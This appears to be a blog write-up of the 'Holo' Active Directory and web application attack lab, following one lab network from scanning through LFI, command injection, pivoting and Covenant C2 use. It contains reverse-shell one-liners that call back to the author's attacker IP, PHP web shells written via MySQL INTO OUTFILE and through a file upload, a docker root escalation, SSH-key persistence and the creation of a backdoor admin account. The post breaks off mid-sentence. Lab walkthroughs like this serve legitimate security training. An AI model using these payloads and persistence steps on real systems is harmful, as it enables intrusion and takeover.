Post

Holo

Alt text

Holo is an Active Directory and Web Application attack lab that teaches core web attack vectors and advanced\obscure Active Directory attacks along with general red teaming methodology and concepts.

What to learn and explore :

  1. .NET basics
  2. Web application exploitation
  3. AV evasion
  4. Whitelist and container escapes
  5. Pivoting
  6. Operating with a C2 (Command and Control) Framework
  7. Post-Exploitation
  8. Situational Awareness
  9. Active Directory attacks

.NET Basic

.NET is a software framework developed by Microsoft for building and running applications on various platforms. .NET uses a run-time environment known as the Common Language Runtime (CLR).We can use any .NET language (C#, PowerShell, etc.) to compile into the Common Intermediary Language (CIL). NET also interfaces directly with Win32 and API calls making the optimal solution for Windows application development and offensive tool development.


.NET consists of two different branches with different purposes, outlined below.

  • .NET Framework (Windows only)
  • .NET Core (Cross-Compatible)

The main component of .NET is .NET assemblies. .NET assemblies are compiled .exes and .dlls that any .NET language can execute.The CLR will compile the CIL into native machine code. You can find the flow of code within .NET below.

Alt text

Initial recon

Nmap

With the command nmap -sC -sV -p- -vv -oN nmapscans -T4 10.200.107.0/24 2 machines were in the network 10.200.107.33 and 10.200.107.250


machine 10.200.107.33

3 ports were open in the network

Nmap 7.94 scan initiated Thu May  2 09:53:20 2024 as: nmap -vv -oN nmapscans.33 -T4 -p- 10.200.107.33
Nmap scan report for 10.200.107.33
Host is up, received echo-reply ttl 63 (0.26s latency).
Scanned at 2024-05-02 09:53:20 EAT for 1400s
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack ttl 63
80/tcp    open  http    syn-ack ttl 62
33060/tcp open  mysqlx  syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
# Nmap done at Thu May  2 10:16:40 2024 -- 1 IP address (1 host up) scanned in 1399.91 seconds

machine 10.200.107.250

2 ports were open in the network

Nmap scan report for 10.200.107.250
Host is up, received echo-reply ttl 64 (0.27s latency).
Scanned at 2024-05-02 08:47:29 EAT for 2232s
Not shown: 65527 closed tcp ports (reset)
PORT      STATE    SERVICE   REASON         VERSION
22/tcp    open     ssh       syn-ack ttl 64 OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
1337/tcp  open     http      syn-ack ttl 64 Node.js Express framework
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

machine 10.200.107.33

on port 80, the was a website running

Alt text

scanning for hidden directories with the command gobuster dir -u http://10.200.107.33/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.out , I found nothing but the website seemed to be running with wordpress

1
2
3
4
5
6
7
/login                (Status: 302) [Size: 0] [--> http://www.holo.live/wp-login.php]
/0                    (Status: 301) [Size: 0] [--> http://10.200.107.33/0/]
/wp-content           (Status: 301) [Size: 319] [--> http://10.200.107.33/wp-content/]
/admin                (Status: 302) [Size: 0] [--> http://www.holo.live/wp-admin/]
/wp-login             (Status: 403) [Size: 278]
/wp-includes          (Status: 301) [Size: 320] [--> http://10.200.107.33/wp-includes/]

Scanning for WordPress, I found 2 things , version number and username but the login was empty page

  • wordpress version number
1
2
3
4
5
[+] WordPress version 5.5.3 identified (Insecure, released on 2020-10-30).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://10.200.107.33/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.5.3'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://10.200.107.33/, Match: 'WordPress 5.5.3'
  • User(s) Identified:
    1
    2
    3
    4
    
    [+] admin
     | Found By: Wp Json Api (Aggressive Detection)
     |  - http://10.200.107.33/wp-json/wp/v2/users/?per_page=100&page=1
     | Confirmed By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
    

Web App Exploitation

After scanning for hidden directories and all, I found nothing. Now, it’s time to check for vhosts. Vhosts allow running many websites on one server. They need an extra header, Host, to tell the Web Server which vhost the traffic is for. This is handy when you have only one IP address but want multiple DNS entries. Services like Squarespace or WordPress often use this.

With te command wfuzz -u http://holo.live -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.holo.live" --hw 1402

I found some hidden virtual hosts

Target: http://holo.live/
Total requests: 4990

=====================================================================
ID           Response   Lines    Word       Chars       Payload  
=====================================================================
000000001:   200        271 L    701 W      7515 Ch     "dev"
000000025:   200        75 L     158 W      1845 Ch     "admin"   
000000020:   200        271 L    701 W      7515 Ch     "dev"   
000000002:   200        155 L    1398 W     21405 Ch    "www"    
000000690:   400        12 L     53 W       422 Ch      "gc._msdcs"  
000002181:   301        0 L      0 W        0 Ch        "www.www"   

Total time: 0
Processed Requests: 4990
Filtered Requests: 4984
Requests/sec.: 0

and with dev and www, we had static webpages but with admin , there was a log in

Alt text

While fuzzing for hidden directories on admin.holo.live,came across the robots.txt file.

User-agent: *
Disallow: /var/www/admin/db.php
Disallow: /var/www/admin/dashboard.php
Disallow: /var/www/admin/supersecretdir/creds.txt

In dev.holo.live when checking the images, it seemed to have lfi when fetching the images.From OWASP, “Local file inclusion (also known as LFI) is the process of including files, that are already locally present on the server, through the exploiting of vulnerable inclusion procedures implemented in the application.” LFI can be trivial to identify, typically found from parameters, commonly used when downloading files or referencing images. Find an example below from the test environment.

Alt text

Intercepted the traffic with burp and I was able to read /etc/passwd file

Alt text I tried to access home folder but it was in vain so I wfuzz for files that I could access but I didn’t find anything intresting

1
wfuzz -c -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u http://dev.holo.live/img.php?file=FUZZ

However remember while exploring the robots.txt directory on admin.holo.live, I stumbled upon hidden files, notably one that appeared to contain credentials located at /var/www/admin/supersecretdir/creds.txt.

Alt text

  • username admin
  • password DBManagerLogin!

and I was logged in

Alt text

Looking at the webpage source code , there was this comment line

1
 //if ($_GET['cmd'] === NULL) { echo passthru("cat /tmp/Views.txt"); } else { echo passthru($_GET['cmd']);} -->

Trying with the ?cmd=ifconfig, I was the ip address of the server, so we had a command executed

Alt text

With the command nc -c bash 10.50.103.242 4444, I was able to get a reverse shell back

Alt text

Docker

Containers, due to their isolated nature, will often have very few processes running in comparison to something such as a virtual machine. We can simply use ps aux to print the running processes. Note in the screenshot below that there are very few processes running?

Alt text

Containers allow environment variables to be provided from the host operating system by the use of a .dockerenv file. This file is located in the “/” directory and would exist on a container - even if no environment variables were provided.

Alt text

Cgroups are used by containerization software such as LXC or Docker. Let’s look for them by navigating to /proc/1 and then catting the “cgroup” file… It is worth mentioning that the “cgroups” file contains paths including the word “docker”.

Alt text

Living off the LANd

Since we know that we are in a docker container, we can continue to enumeration to determine what we can do and what other paths we can take to continue attacking this server. A critical part of situational awareness is identifying network and host information. This can be done via port scanning and network tooling.

1st we can utilize /dev/tcp/ipaddr/port; this will act as a built-in scanner to gather information on the container ports. This utility is broken down below. more info Linux Documentation Project.devref1.html

  • /dev/ contains all hardware devices, such as NIC, HDD, SSD, RAM
  • /dev/tcp/ pseudo-device of your ethernet/wireless card opens a socket when data is directed either in or out.

We can also use this to our advantage to scan internal ports by piping a list of ports into it. Find an example of a full bash port scanner below.

1
2
3
4
5
#!/bin/bash
ports=(21 22 53 80 443 3306 8443 8080)
for port in ${ports[@]}; do
timeout 1 bash -c "echo \"Port Scan Test\" > /dev/tcp/1.1.1.1/$port && echo $port is open || /dev/null" 
done

2nd we can use method of port scanning using python. To scan ports with python, we will need to use the sockets library to open connections and enable network connectivity. The script itself is as simple as opening connections to sequencing ports in a loop. Find an example of the full python port scanner below.

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/python3
import socket
host = "1.1.1.1"
portList = [21,22,53,80,443,3306,8443,8080]
for port in portList:
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 try:
  s.connect((host,port))
  print("Port ", port, " is open")
 except:
  print("Port ", port, " is closed")

3rd we can use Netcat to connect to a range of ports nc -zv 192.168.100.1 1-65535

www-data@a7cac6cdbc37:/var/www/admin$ nc -zv 192.168.100.1 1-65535
ip-192-168-100-1.eu-west-1.compute.internal [192.168.100.1] 33060 (?) open
ip-192-168-100-1.eu-west-1.compute.internal [192.168.100.1] 8080 (http-alt) open
ip-192-168-100-1.eu-west-1.compute.internal [192.168.100.1] 3306 (mysql) open
ip-192-168-100-1.eu-west-1.compute.internal [192.168.100.1] 80 (http) open
ip-192-168-100-1.eu-west-1.compute.internal [192.168.100.1] 22 (ssh) open

But checking for open ports using netstat,we see only open ports within the docker environment

www-data@a7cac6cdbc37:/var/www/admin$ netstat -ona 
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       Timer
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 127.0.0.11:35539        0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 192.168.100.100:80      10.50.103.242:34158     ESTABLISHED keepalive (7060.64/0/0)
tcp        0    144 192.168.100.100:49044   10.50.103.242:4444      ESTABLISHED on (0.46/0/0)
udp        0      0 127.0.0.11:56884        0.0.0.0:*                           off (0.00/0/0)
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags       Type       State         I-Node   Path
unix  2      [ ACC ]     STREAM     LISTENING     23162    /var/run/mysqld/mysqld.sock
www-data@a7cac6cdbc37:/var/www/admin$ 

Now that we know mysq is running, we neet to search for mysql credentials most likely found in /var/www/

www-data@a7cac6cdbc37:/var/www/admin$ cat db_connect.php
<?php

define('DB_SRV', '192.168.100.1');
define('DB_PASSWD', "!123SecureAdminDashboard321!");
define('DB_USER', 'admin');
define('DB_NAME', 'DashboardDB');

$connection = mysqli_connect(DB_SRV, DB_USER, DB_PASSWD, DB_NAME);

if($connection == false){

        die("Error: Connection to Database could not be made." . mysqli_connect_error());
}
?>
  • username : admin
  • password : !123SecureAdminDashboard321!
  • host : 192.168.100.1

The basic methodology for exploiting MySQL can be found below.

  • Access the remote database using administrator credentials
  • Create a new table in the main database
  • Inject PHP code to gain command execution
  • Example code: <?php $cmd=$_GET[“cmd”];system($cmd);?>
  • Drop table contents onto a file the user can access
  • Execute and obtain RCE on the host.

use single command to inject our PHP code into a table and save the table into a file on the remote system. We are writing any code that we want onto the remote system from this command, which we can then execute, giving use code execution. Find the command used below.

select '<?php $cmd=$_GET["cmd"];system($cmd);?>' INTO OUTFILE '/var/www/html/shell.php'; Alt text

fig-data@a7cac6cdbc37:/var/www/html$ curl 192.168.100.1:8080/shell.php?cmd=whoami
www-data
www-data@a7cac6cdbc37:/var/www/html$ 

and we have command execution here, so is to have a reverse connection back to us and we had a call back

curl 192.168.100.1:8080/shell.php?cmd=bash+-c+"bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.50.103.242%2F4488%200%3E%261"

Alt text

Privilege Escalation

searching for files with this bit set with the command find / -perm -u=s -type f 2>/dev/null I found

www-data@ip-10-200-107-33:/var/www/html$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/bin/umount
/usr/bin/docker
/usr/bin/fusermount
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/at
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/mount
/usr/bin/chsh
www-data@ip-10-200-107-33:/var/www/html$ 

Docker stands out here.

While browsing through gtfobins, I discovered a method to exploit to root using the following command:

docker run -v /:/mnt --rm -it cb1b741122e8 chroot /mnt sh

The command mount the file system into the docker container under /mnt

Alt text

Post Exploitation

Yes, we do have the entire file system in the container but we needed more functionality like to execute commands as root in the machine

There are many methods for persistence

  1. Create a ssh_key and drop it on the root file
  2. Change the root password hash on /etc/shadows
  3. Backdoored binaries
  4. PAM backdoor
  5. Malicious services
  6. Cronjob
  7. Credential harvesting

I used 2 mtds ,

  1. Created and droped a ssh key on the /root/.ssh
  2. cracked the passwords for the users account

Alt text

Pivoting Digging a tunnel to nowhere

There are several tools outlined below that can help us in pivoting.

  1. sshuttle
  2. Chisel
  3. Ligolo
  4. Metasploit autoroute

To create a SOCKs server with Chisel, you will only need two commands ran on the target and the attacking machine, outlined below.

  • On the attacking machine: ./chisel server -p 8000 --reverse
  • On the target machine: ./chisel client <SERVER IP>:8000 R:socks

Using sshuttle is relatively easy and only requires one command. For sshuttle to work, you only need to specify one parameter, -r . With this parameter, you will specify the user and target like you would for a standard ssh connection. You will also need to specify the CIDR range of the network; this does not require a parameter. Find an example of syntax below.

Syntax: sshuttle -r ubuntu@10.200.107.33 10.200.107.0/24

sudo docker run -it -p 7443:7443 -p 80:80 -p 443:443 –name covenant -v /opt/c2/Covenant/Covenant/Data:/app/Data covenant

Command and Control

Command your Foes and Control your Friends

To use covenant, you have to install dotnet framework using the following documentation

but with me it didn’t work, so I had to use docker instead

1
2
3
4
git clone --recurse-submodules https://github.com/cobbr/Covenant
cd Covenant/Covenant
docker build -t covenant .
docker run -it -p 7443:7443 -p 80:80 -p 443:443 --name covenant -v /opt/Covenant/Covenant/Data:/app/Data covenant

Alt text

Create an account and login

Alt text

When operating with Covenant, there are four main stages: creating a listener, generating a stager, deploying a grunt, utilizing the grunt. All stages of operation can already be done using other tools like MSFVenom, Netcat, Metasploit, etc. however, Covenant gives you a way to operationalize them all under one platform allowing for easier management and collaborative operations.

Web App Exploitation

exploiting ip address 10.200.107.31 When doing a ping for i in {1..255}; do (ping -c 1 10.200.107.${i} | grep "bytes from" &); done, it reveals additional IP addresses available within the local network, providing insights into the network topology.

Alt text

Whn doing a nmap scan on the ip address 10.200.107.31, we can see port 80 open

Nmap scan report for ip-10-200-107-31.eu-west-1.compute.internal (10.200.107.31)
Host is up, received arp-response (0.0021s latency).
Scanned at 2024-05-03 12:46:20 UTC for 158s
Not shown: 992 closed ports
Reason: 992 resets
PORT     STATE SERVICE       REASON          VERSION
22/tcp   open  ssh           syn-ack ttl 128 OpenSSH for_Windows_7.7 (protocol 2.0)
80/tcp   open  http          syn-ack ttl 128 Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.11)
135/tcp  open  msrpc         syn-ack ttl 128 Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack ttl 128 Microsoft Windows netbios-ssn
443/tcp  open  ssl/http      syn-ack ttl 128 Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.11)
445/tcp  open  microsoft-ds? syn-ack ttl 128
3306/tcp open  mysql?        syn-ack ttl 128
3389/tcp open  ms-wbt-server syn-ack ttl 128 Microsoft Terminal Services
MAC Address: 02:EF:3D:AB:DB:D3 (Unknown)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

To access the network, we have to port tunnel with the command sshuttle -r sire@10.200.107.33 0.0.0.0/0

Alt text

Try to reset the password with user sire, we can see the username does not exist

Alt text

This means that there is some user validation on the server so tying user gurag we can see user exists and with a cookie token generated

Alt text

Intercepting the traffic , we can see that there is a place to supply some user token cookie in url

Alt text

When you supply the user token in the url , you will be directed to /reset where you will be able to reset the password

Alt text

After successfully updating the password, we gained access to a server featuring an image uploading capability, accessible via the /img directory. This functionality allows users to upload images and subsequently view them within the server.

Alt text

Exploiting the uploads fucntionally

After attempting to upload a basic PHP shell <?php system($_GET['lfi']); ?>, it was swiftly removed without executing commands. Consequently, I opted to upload a web shell instead, in pursuit of achieving the desired functionality.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
</html>

and we did have command execution

Alt text

checking whoami, I found out that I am nt/authority so the best thing is , I created another user with the command net user JohnDoe password123 /add

Alt text

and with the command net localgroup administrators JohnDoe /add, we were administrative

Alt text

“I SSHed into the machine, but the shell was really unstable. I couldn’t upload because it consistently triggered Windows Defender’s real-time protection (AMSI), resulting in its blockage.

Alt text

and so I

Comparison Operators

This post is licensed under CC BY 4.0 by the author.